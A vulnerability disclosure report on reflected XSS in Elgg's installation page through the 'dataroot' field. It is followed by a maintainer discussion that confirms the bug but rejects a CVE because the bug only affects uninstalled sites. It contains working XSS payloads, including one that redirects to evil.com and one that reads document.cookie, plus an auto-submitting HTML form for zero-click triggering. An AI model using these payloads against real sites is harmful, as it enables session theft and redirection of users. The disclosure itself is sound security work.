POST Based Reflected Cross Site Scripting in installation page in elgg/elgg
Reported on
Oct 9th 2022
Description
The installation page in Elgg ≤ v4.3.3 is vulnerable to Cross-Site Scripting attack via 'dataroot' parameter.
Steps to Reproduce
Freshly install the Elgg in your web-server and proceed to "Database Installation Page".
Enter the following payload in "Data Directory" field and fill other field and click on next button.
<svg/onload=confirm(/XSS/)>
<svg/onload=confirm(document.location="https://evil.com")>
<svg/onload=confirm(document.cookie)>
3.Cross Site Scripting will be triggered.
The cross site scripting vulnerability can be triggered with 0 click interaction too. Open the following html file in any web-browser, replace localhost with your server's address & xss will be triggered.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/sites/11/install.php?step=database" method="POST" enctype="multipart/form-data">
<input type="hidden" name="dbuser" value="suvam" />
<input type="hidden" name="dbpassword" value="" />
<input type="hidden" name="dbname" value="elgg" />
<input type="hidden" name="dbhost" value="localhost" />
<input type="hidden" name="dbport" value="3306" />
<input type="hidden" name="dbprefix" value="elgg_" />
<input type="hidden" name="dataroot" value="<svg/onload=confirm(/xss/)>" />
<input type="hidden" name="wwwroot" value="http://localhost/sites/11/" />
<input type="hidden" name="timezone" value="UTC" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Proof of Concept :
https://drive.google.com/file/d/1SWU86vsD_i1sMy6xQVsXCZCAERGOO_EW/view?usp=sharing
Mitigation
Proper encoding of users input must be done before passing into HTTP response body.
Impact
Attacker is able to execute malicious javascript in victims browser that can be exploited for various malicious purpose.
References
SECURITY.md exists
a year ago
I tried to reproduce your issue.
I can confirm that is works on a Elgg website which hasn't completed the installation yet. Once the installation has been completed this issue no longer applies.
So I can't see the security risk to a user yet. Any feedback?
Dear @maintainer ,
Sorry for late update. I dont see any impact yet.
Kind Regards, @WHOISshuvam
@admin I'd like to confirm this issue as it does exists however I don't see an exploit as this only works on an uninstalled website. Installing the website would takes 5-30 minutes in which time the exploit exists.
We're going to fix the issue, but I don't agree with the severity and that a CVE should be issued.
Any help would be appreciated
Hi @maintainer! We will opt this report out of a CVE. In the meantime feel free revise the severity from the right hand section of the page (Severity > Edit).
Hope that helps!
Hi Jerome, I can see that you have dropped the severity of the vulnerability to "None", this will prevent the report from receiving a CVE and this will be confirmed at the Publish stage.